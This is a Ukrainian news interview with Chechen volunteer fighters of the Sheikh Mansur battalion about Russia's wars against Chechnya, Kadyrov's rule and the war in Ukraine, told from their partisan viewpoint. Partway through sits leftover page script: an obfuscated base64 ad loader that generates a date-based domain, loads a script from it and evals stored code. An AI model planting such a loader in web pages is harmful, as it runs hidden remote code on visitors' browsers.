Ми зібралися у світлому красивому класі шкільної
медіатеки однієї з громад: жінки, діти, підлітки, вчителі, хлопці. Чай, свіжа
випічка, кава і хвилювання, бо зараз зайдуть вони. Дякуючи їм, ми можемо зараз
так збиратися.
Воїни. Які приїхали добровільно захищати свою країну,
нашу країну, захищати свободу.
Хтось усміхнений, хтось сумний, хтось тримається скромно попри
сміливість у бою, хтось мовчазний, бо слова зайві — він бачив занадто багато…
Але в очах розум та спокій. А в душі — особливе знання:
цей шлях – то їхня доля.
Бійці Міжнародного Добровольчого Батальйону Шейха
Мансура, вільної Чеченської Республіки Ічкерія.
А чи
була Росія братською?
Ред.: Хлопці, наразі можна знайти
багато джерел про війни Чеченської Республіки Ічкерії, але більшість ще є
проросійськими. Тож, розкажіть, з перших вуст, скільки вже років тривають війни
вільного Чеченського народу проти Росії? Та з чого почалися відкрита агресія до
вашої країни?
БШМ: Це
дуже довга історія, навіть не знаємо, як почати… Так багато всього було
пройдено… Наша боротьба за свободу триває вже понад 400 років, починаючи ще з
Царської Росії…
Спробую коротко описати ситуацію. Після розвалу Радянського Союзу наша
країна так само, як і Україна, Білорусь, Грузія та інші республіки оголосила
про свою незалежність. Ми почали будувати свою державу. Так склалося, що 15
незалежних держав було повністю визнано міжнародним співтовариством, а нашу країну
було визнано лише частково, тому що світ усе ще вважав нас суб’єктом Російської
Федерації, з подачі тієї ж Російської Федерації. Росія — країна з
багатомільйонним населенням і величезним економічним та військовим потенціалом,
і тому ніхто з міжнародного співтовариства не хотів псувати торговельні та
політичні відносини з нею через таку невелику країну, як Чеченська Республіка
Ічкерія. Якраз перед початком відкритої агресії у нас народився мільйонний
житель… Міжнародні організації нам декларували, що боротьба наша справедлива,
але інші вигоди їм набагато важливіші. З чого ми зробили висновок, що
міжнародне право працює, на жаль, лише на боці великих держав… Так би мовити
– це «право для сильних». Для невеличких держав, тобто — для «слабких», ці
правила не працюють, на жаль. Найбільші держави світу, такі як Росія, і подібні
до неї, могли починати війну, вбивати людей, дітей, творити геноцид, і у
відповідь міжнародні організації або висловлювали занепокоєння, або взагалі не
втручалися. Як, наприклад, було у Грузії та Сирії… Як зараз відбувається і в
Україні. У Чечні, наприклад, було вбито Росією 300 тисяч чеченців із одного
мільйона, всіх безкарно…
І ми це бачимо та відчуваємо на собі, як ніхто інший. Нам ніхто не
допомагав, ніхто за нас не боровся. Ми воювали практично у повному оточенні. З
одного боку – Росія, з іншого – Кавказький хребет, але навіть через гори,
пішки, до Грузії нам було дуже важко дістатися. Росія повністю закрила кордон
та заблокувала нашу країну фізично та економічно. Водночас, проти уряду першого
президента Чеченської Республіки Ічкерії – Джохара Дудаєва, Росія активувала
«брудні» політичні технології. Вони фінансували так званих «опозиціонерів»,
подібних до Пушиліна та Захарченка. Ці фіктивні опозиціонери проводили різного
роду провокації з 1991 року проти чинного уряду Чечні. Кілька разів Росія з
їхньою допомогою хотіла здійснити збройний переворот і штурмувала місто
Грозний. Востаннє вони зайшли до Грозного на танках і БТР, у яких перебували
російські солдати, хоча на весь світ Росією транслювалося, що це «чесна»
опозиція проти Д. Дудаєва. Росія грала у цю військово-інформаційну гру з 1991
по 1994 роки. Але, незважаючи на це, міжнародні позиції Д. Дудаєва ставали
дедалі міцнішими. Він здійснював візити до Арабських країн і до нього також
приїжджали з офіційними візитами представники інших держав. Справа йшла до
міжнародного визнання нашої незалежності, позиції нашої держави на міжнародній
арені дедалі більше зміцнювалися. Тому в 1994 році 11 грудня, дивлячись на
популярність уряду Д. Дудаєва, Росія вирішує ввести свої регулярні війська на
територію Чеченської Республіки Ічкерія.
Нашу першу війну з Росією ми вели 2 роки та виграли її. Місто Грозний разом
з російськими військами, що ввірвалися в нього, було нами повністю оточене.
Багато ділянок міста були нами взяті штурмом за допомогою всього лише автоматів
і легкої артилерії, багато ділянок ми замінували, були організовані засідки для
окремих груп російської армії. Таким чином, розрізнені групи російських
солдатів не могли прийти один одному на допомогу, їх техніка виявилася
заблокованою на вузьких вулицях міста, і в лавах російської армії почалася
паніка. Їхні бійці почали поступово здаватися. До того ж, ми запропонували
російським солдатам роззброюватися в обмін на супровід до кордону з Росією, що
ще більше прискорило процес здачі в полон російських військових. Звичайно,
Москва могла б надіслати допомогу, але за цей час чеченський народ встиг би
підготуватися – ми б ще більше озброїлися та придбали нові запаси необхідного.
Росія це розуміла, і тому всі російські війська за рішенням їхнього
командування були повністю виведені з території Чечні.
Було досягнуто домовленості, що всі спірні питання між державами
вирішуватимуться виключно переговорним шляхом, агресивних дій не буде ні з
їхнього боку, ні з нашого. Але російські військові вважали, що переговорний
шлях і відступ — це «ганьба» перед усім світом, Росія не хотіла такого
результату. Це було вимушене рішення для них, вони просто вигравали час для
себе. Через деякий час їхній уряд опустився до страшних провокацій – почалися
підриви мирних житлових будинків на території Росії, але усьому світу було
оголошено, що це робить чеченський народ. Факти підриву Росією житлових
будинків та вбивства своїх же мирних жителів були підтверджені колишнім
підполковником ФСБ Олександром Литвиненком, який був змушений емігрувати до
Англії від переслідування за те, що зважився сказати правду про ці події. Про
це згодом він написав книгу «ФСБ підриває Росію». Так от, Росія одночасно з
підривами житлових будинків на своїй території також організувала в невеликих
селах у Дагестані збройні конфлікти, щоб розжарити ситуацію на Кавказі. Як
завжди, страждали від цих штучних збройних конфліктів мирні жителі. Тоді окремі
групи наших добровольців піднялися допомогти дагестанському народу. А Росія
оголосила всьому світу, що це нібито «Чечня на нас напала». І так почалася наша
друга Чеченська війна за свободу кавказького народу, яку російський уряд
називає контртерористичною операцією… Таким чином з 1999 року і досі російські
війська незаконно та жорстоко окупували нашу землю. Саме тому багато років ми
боремося із Російською імперією раніше, Росією зараз та будемо боротися і надалі.
Ми чітко розуміємо, що для Росії не існує «маленьких» народів, Росія хоче,
щоб усі вони змішалися та стали «російськими», а нашу мову, землю, культуру вона
хоче знищити повністю. Росії не потрібні сильні самостійні нації поблизу її
кордонів, які борються за свою землю, за свою свободу та за свою ідентичність.
Для цього, крім відкритої агресії, на територіях суміжних країн, Росія
використовує активну пропаганду та методи психологічного впливу на маси, щоб
посіяти між громадянами сусідніх країн ворожнечу, підмінити поняття та створити
умови, за яких людина завдяки цим методам робить дії, вигідні для
країни-агресора. Так відбувається зараз в Україні, так відбувається і в Чечні.
Громадянам, які залишилися в Чечні, але не погоджуються з режимом Росії,
окупаційна влада створює такі законодавчі та юридичні умови, що людина просто
боїться вчинити відповідно до свого світогляду та бажань. Практично сьогодні
громадяни Чечні є заручниками Росії, навіть видача паспортів у країни
призупинена. Чоловіки примусово повинні йти воювати за Путинський режим. Людина
під режимом Росії не є господарем власного життя, вона вимушена підкорятися
диктатурі окупаційної влади, інакше ї очікує жорстке покарання від влади – це
один із видів сучасного рабства на сьогодні.
Ред: Як
сприймає окупаційну
владу Р. Кадирова місцеве населення Чеченської Республіки Ічкерія?
БШМ: 90% людей, які сьогодні живуть у Чечні, ставляться до
окупаційного уряду Р. Кадирова негативно. Але, якщо сьогодні ти вийдеш і
відкрито заявиш про це, або виступиш проти, тобі загрожуватиме або в’язниця,
або ти повинен назавжди залишити батьківщину. Люди не хочуть ні того, ні іншого
і тому їм доводиться терпіти такий стан речей. Звичайно ж, вони знають, що це
рано чи пізно закінчиться… Але вони не знають, коли цей час настане.
У царській Росії був
такий генерал Єрмолов. Під час Кавказької війни він спалював цілі чеченські
села, спалював та вбивав усіх: жінок, дітей, старих. Іноді відправляв людей на
заслання, іноді навіть продавав… Це був геноцид нашого народу, але ми це пережили.
Потім прийшов Сталін і 1944 року він вислав практично весь чеченський народ в товарних
вагонах у Казахстан. З корінного чечено-інгуського народу в нашій країні
залишилося десь 35%. Усього понад 60% громадян втратила наша країна, вони
загинули від холоду та голоду. Тільки наша сім’я поховала 4-х осіб із 8-ми, а
деякі сім’ї взагалі вимерли повністю, бо умови для життя у засланнях були
просто нелюдські. Сьогодні ми знаємо, що якщо всі ці страждання наш народ
пережив у минулому, а в нашій історії були й інші диктатори, то Путіна ми теж
переживемо. Переживемо точно, нам головне зберегти свій народ і жити на наших
споконвічних землях. Росія хоче розкидати по всьому світу корінних жителів
Чечні, патріотів своєї землі. Тим, хто залишився, активно «промивають» мізки,
щоб вони «стали» російськими в голові. Пропаганда йде на повний хід. Але
викорінити нашу пам’ять їм не вдасться. Вже 400 років ми знаємо та пам’ятаємо,
хто наш ворог і не забудемо про це ніколи. За ці 400 років вони нам нічого
хорошого не зробили, тому, звісно, народна ненависть до росіян не вичерпується.
І якщо, наприклад, завтра-післязавтра в Москві розпочнеться справжній переворот,
як у дев’яностих роках, то максимум через три дні режим Кадирова теж впаде, і
місцеві жителі у цьому відіграють одну з головних ролей. Він чудово це розуміє
і тому дуже боїться. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Бійці батальону Шейха Мансура в Україні
Сьогоднішній режим
Кадирова охороняє 100 000 російських солдатів, хоча Чечня – це дуже маленька
держава. Навколо — в Інгушетії, Дагестані, Ставропольському краї також стоять
російські війська, і за дві-три години вони можуть звідти прийти Кадирову на
допомогу. Але якщо підтримки уряду Кадирова з Москви не буде, цього часу нам
буде достатньо, щоб скинути окупаційний режим. Все відразу зміниться, і Кадиров
це чудово розуміє. Щоб заглушити цей страх, Кадиров вдається до вживання
наркотиків… Тому що вся його «величезна» армія, яку він показав на весь світ
через ЗМІ та Тік-Ток, яку нібито він зібрав, і нібито ця величезна армія йде в
Україну – це все реклама . Нікуди вони не йшли й не ідуть. Він просто їх збирав
для вигляду, щоб показати світові, що має армію, і перед Москвою звітувати, що
зібрав відмінних бійців. У цьому вся його діяльність напоказ закінчується.
Сьогодні – це інформаційна мильна бульбашка, своєрідне кіно. Звичайно, деякі
підрозділи «кадировців» тут були, наприклад, підрозділ «Ахмад» із росгвардії,
так би мовити, «наближені», яких ставили в перших рядах. Але з маленькою
поправочкою – їх виставляли вже після окупації, коли потрібно було проводити
зачистки. В активних фазах боїв, на передовій їх не було видно ніде. І ніякі
великі, як хотілося б Кадирову, заслуги його армія так і не отримала, тому
зараз він пішов на другорядний план.
Чого боїться на разі
Кадиров – що Москва може його «кинути» будь-якої миті, що вона робила вже не
один раз і зараз робить. Або якщо чеченський народ підніметься, армія Кадирова не
впорається… Він втратить своє становище, фактично він втратить все. І тому,
охоплений цими страхами, Кадиров почав вбивати людей у своєму оточенні без
жодної причини, у нього розвинулася своєрідна манія переслідування на ґрунті
страху і наркотиків… Тому «армія Кадирова» – зараз це придумана інформаційна
картинка і не більше.
Ред: Ви пройшли дві
війни в Ічкерії та вже другу війну в Україні, чи змінилося щось у тактиці
військових дій Росії тоді й зараз?
БШМ: У сучасному світі наразі все дуже швидко змінюється.
Змінюються люди, методи війни, модернізується зброя, техніка, технології. У
Росії ніколи нічого не змінюється. Це добре. Якби щось змінилося за ці роки,
Росія мала б величезну перевагу сьогодні. А завдяки тому, що все залишилося
незмінним, ми й витримали перший удар у першій війні, коли відбувалися ракетні
удари та введення російських військ на територію Чеченської республіки Ічкерії.
Вони думали, що всі одразу розбіжаться. Так само, як вони «взяли Київ за 3 дні»
та «провели» свій військовий парад на Хрещатику. Завдяки тому, що в них нічого
не змінюється завдяки тому, що вони тупцюють на одному місці, ми з вами і
витримали ці перші удари. Також і в тактиці у них нічого особливо не змінилося.
Їхня тактика – перемагати «м’ясом» і не шкодувати нікого, ні своїх, ні чужих.
Не шкодувати навіть нікого з цивільного населення. Вбивати всіх. Доказом тому в
Україні — Маріуполь, Соледар, Бахмут, Гуляйполе та багато інших міст та селищ.
У нас в Ічкерії діялося
те саме, тільки ще жорсткіше. У 1999 році вони стріляли ракетами прямо по людях
на ринку, де в один момент в одному місці знаходилося понад 400 осіб мирного
населення, і всіх вбили… Вони цілеспрямовано стріляли в місця великого скупчення
людей, центральні ринки, пологові будинки, повністю зносили ракетами житлові
будинки у Грозному… Тут, в Україні, російська авіація так не літає, як літала у
нас у Чечні… Дуже добре, що Україні зараз країни-союзники постачають озброєння,
а в нас тоді цього розмаїття озброєння не було зовсім… Країна у нас маленька,
площею приблизно як Донецька область з населенням в 1 млн. жителів. І вони
абсолютно вільно над нами літали літаками та гелікоптерами, скидали свої
тритонні бомби на 9-поверхові житлові будинки, які одразу руйнувалися до
підвалів. Вони нас просто знищували. І їм було однаково – цивільні, не цивільні
– вони всіх підряд вбивали. Безкарно. 300 тисяч чеченців було вбито, з них 40
тисяч – вбиті діти. Для країни лише з мільйоном жителів – це занадто велика
шкода, надто велике горе. Те, що ми пережили, ми вважаємо в сучасному світі
немає аналога до такого геноциду.
До того ж, нам досі
незрозуміла їхня політика – Росія віддала Китаю величезні території, але в
інших країн намагається їх відібрати… Таким чином намагаючись на крові інших
народів відродити свою «велич»? Намагається самоствердитись через вбивство…
Хоча є безліч інших мирних і гідних способів зробити так, щоб твою країну
поважали… А самостверджуватись за рахунок слабшого – недостойно. Така вкрай
дивна логіка в сучасному світі розвинених технологій і великої кількості
можливостей ніяк не вкладається в нашій голові… Так, у нас в країні є газ, у
нас є нафта, але нічого такого надприродного немає, заради чого треба знищувати
наш народ та стирати його з лиця землі. Щоправда є один нюанс — Чечня
знаходиться в центрі Північного Кавказу, і в Росії існує приказка — якщо в
Чечні мир, то і на всьому Кавказі мир, але якщо в Чечні пожежа, то вона
обов’язково розгориться на весь Кавказ.
Ред: Тобто Росія використовує Чечню
для дестабілізації ситуації на Кавказі?
БШМ: Цілковита правда.
Наразі Чечню повністю заблоковано Росією та інформаційно у тому числі. Громадянам не видають паспорти, щоб вони не залишали країну. Але ми маємо невеликий партизанський опір, який веде диверсійну діяльність. Окупаційний уряд Кадирова всіляко приховує цей факт, і навіть якщо десь вибухає щось, то цій події не дають розголосу. 2020-го року його уряд оголосив, що вбив усіх наших партизанів у кількості 17 осіб, але це неправда. У нашій країні ще є люди, які виборюють нашу свободу.
Днями читайте продовженння бесіди з бійцями батальону Шейха Мансура — поговоримо про те, чому вони зараз захищають Україну та якими є перспективи та прогнози на закінчення війни.
Підготувала Світлана Сіровець спеціально для Акцента
Підписуйтесь на Акцент в 
(adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/bijtsi-batalonu-shejha-mansura-za-shho-bolit-chechenske-sertse/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
